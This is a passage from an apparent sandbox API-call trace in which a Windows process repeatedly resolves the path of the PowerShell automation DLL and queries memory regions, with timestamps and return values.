lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.075] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.075] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.075] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.076] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.076] GetLastError () returned 0x0 [0058.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.077] GetLastError () returned 0x0 [0058.077] VirtualQuery (in: lpAddress=0x25d1b4, lpBuffer=0x25e1b4, dwLength=0x1c | out: lpBuffer=0x25e1b4*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.078] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.079] GetLastError () returned 0x0 [0058.079] VirtualQuery (in: lpAddress=0x25d1b4, lpBuffer=0x25e1b4, dwLength=0x1c | out: lpBuffer=0x25e1b4*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.080] GetLastError () returned 0x0 [0058.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] VirtualQuery (in: lpAddress=0x25d1b4, lpBuffer=0x25e1b4, dwLength=0x1c | out: lpBuffer=0x25e1b4*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.081] GetLastError () returned 0x0 [0058.081] VirtualQuery (in: lpAddress=0x25d1b4, lpBuffer=0x25e1b4, dwLength=0x1c | out: lpBuffer=0x25e1b4*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.082] GetLastError () returned 0x0 [0058.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.082] GetLastError () returned 0x0 [0058.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 